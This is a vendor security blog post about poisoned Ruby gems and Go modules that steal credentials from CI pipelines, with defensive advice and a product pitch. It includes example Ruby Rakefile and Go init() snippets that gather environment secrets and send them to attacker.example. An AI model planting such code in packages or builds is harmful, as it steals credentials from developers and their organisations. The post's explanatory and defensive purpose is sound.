← All posts

supply-chain

Poisoned Ruby Gems Hijack CI Pipelines for Credential Theft

·5 min read

Poisoned Ruby Gems and Go Modules Are Hijacking Your CI Pipeline

Attackers are publishing malicious Ruby gems and Go modules that mimic legitimate packages, silently exfiltrating credentials from CI/CD environments the moment your pipeline installs them. This supply chain attack pattern, reported on May 1 2026, is actively targeting GitHub Actions, GitLab CI, and CircleCI runners.

What Actually Happened

Threat researchers disclosed a coordinated campaign in which adversaries uploaded typosquatted and dependency-confusion packages to RubyGems.org and the Go module proxy ecosystem. Package names were crafted to be one character off from popular gems — think aws-sdk-rubyy or go-redis-client — or deliberately matched internal package names that companies forget to publish publicly (the classic dependency confusion vector first demonstrated by Alex Birsan in 2021).

Once a build agent installs the poisoned package, an embedded post-install hook executes a small Ruby or Go binary that:

  1. Reads environment variables (AWS_ACCESS_KEY_ID, GITHUB_TOKEN, NPM_TOKEN, DATABASE_URL, etc.)
  2. Enumerates CI-specific variables (CI, RUNNER_TEMP, CIRCLE_TOKEN) to confirm it is running inside an automated pipeline
  3. Sends the harvested data over HTTPS to an attacker-controlled endpoint, blending into normal outbound traffic

Because most CI runners have broad IAM permissions and access to production secrets, a single compromised build can hand attackers the keys to your cloud account, npm publish rights, or database credentials — no phishing required.

Why This Is Particularly Dangerous for Developers Right Now

The scale of the Go and Ruby ecosystems makes manual auditing impossible. RubyGems.org hosts over 170,000 gems; the Go module proxy mirrors millions of modules from GitHub. Neither ecosystem enforces code signing at the registry level the way npm's provenance feature (introduced in 2023) attempts to.

Worse, vibe-coded and AI-generated projects frequently pull in dependencies suggested by LLMs without a human ever reading the package name twice. If GPT-4o or Claude recommends stripe-ruby-helper and that exact name happens to be a malicious package, it goes straight into Gemfile.lock and gets committed.

The attack is also persistent: Gemfile.lock and go.sum pin the malicious version, meaning every new CI run re-installs the same poisoned package until someone audits the lockfile.

The Technical Mechanism: Post-Install Hooks and init() Functions

Ruby gems abuse the extensions and post_install_message fields in a gemspec, but more dangerously, attackers embed executable code directly in a Rakefile that runs during gem install. There is no sandbox.

Go modules cannot run arbitrary code at install time — but the attack vector shifts to init() functions inside .go source files. When your code (or a legitimate dependency) imports the malicious module, the init() function fires automatically at program startup, including during go test and go build in CI.

# Example malicious Rakefile snippet (simplified)
task :default do
  require 'net/http'
  secrets = ENV.select { |k, _| k.match?(/token|key|secret|password/i) }
  Net::HTTP.post(URI('https://attacker.example/collect'), secrets.to_json)
end
// Example malicious init() in Go (simplified)
func init() {
    secrets := os.Getenv("GITHUB_TOKEN") + "|" + os.Getenv("AWS_SECRET_ACCESS_KEY")
    http.Post("https://attacker.example/collect", "text/plain", strings.NewReader(secrets))
}

Both snippets are trivially obfuscated with base64 encoding or string splitting, making static grep-based detection unreliable.

How to Protect Your Pipeline

1. Pin and verify lockfiles

Never run bundle install or go get without a committed, reviewed lockfile. Enable --frozen mode in production CI (bundle install --frozen, go mod verify).

2. Enable dependency confusion protection

If you use private packages, set BUNDLE_MIRROR or a Go GOPROXY pointing to your internal registry first, with GONOSUMCHECK disabled. For RubyGems, use a Gemfile source block that explicitly scopes private gems.

3. Audit gem and module names against known-good lists

Tools like bundler-audit catch gems with known CVEs but not novel typosquats. Cross-reference your Gemfile.lock entries against the exact names in your codebase and your team's known dependency list.

4. Restrict CI environment variable exposure

Apply least-privilege to CI secrets. A build job that only runs tests should not have AWS_ACCESS_KEY_ID in scope. Use OIDC-based short-lived credentials (GitHub Actions OIDC + AWS assume-role) instead of static keys wherever possible.

5. Block unexpected outbound connections from build agents

Egress filtering on CI runners is underused. If your runner has no legitimate reason to POST data to random HTTPS endpoints, a network policy or a tool like Falco can catch and kill the process.

6. Scan your web application's dependency surface

Beyond the CI pipeline itself, your deployed application ships these same gems and modules. A web application security scanner that maps your dependency tree and flags packages with suspicious post-install hooks or known malicious versions gives you a second line of defense. Scorra scans deployed Ruby on Rails and Go applications for dependency-level risks alongside standard OWASP checks, surfacing issues like outdated or flagged packages before they reach production.

What RubyGems.org and the Go Team Are Doing

RubyGems.org has accelerated its malware removal SLA and added automated scanning via the rubygems-research project, but removal is reactive. The Go team's sum database (sum.golang.org) ensures module content integrity after the first download — it will catch a package that changes its code post-release, but it does not prevent a freshly published malicious module from being installed before it is reported.

Both ecosystems are exploring mandatory MFA for maintainers of top-downloaded packages (RubyGems announced this requirement for the top 100 gems in 2022; coverage is still incomplete).

The Bottom Line

Supply chain attacks through package registries are not new — SolarWinds (2020), the colors and faker-js sabotage (2022), the XZ Utils backdoor (2024) — but the targeting of CI pipelines specifically makes them disproportionately damaging. One poisoned gem in a build agent can compromise your entire cloud account, not just the application it ships.

Audit your lockfiles today. Rotate any secrets that have ever been present in a CI environment that installed third-party packages without verification. And make dependency scanning a required gate in your pipeline, not an optional step.


Scan your application's dependency surface automatically. Scorra identifies vulnerable and suspicious packages in your deployed Ruby and Go applications alongside OWASP Top 10 checks — in minutes, without touching your source code.

Is your app secure?

Scan it now - free. Get a real security score in 60 seconds.

Scan your app →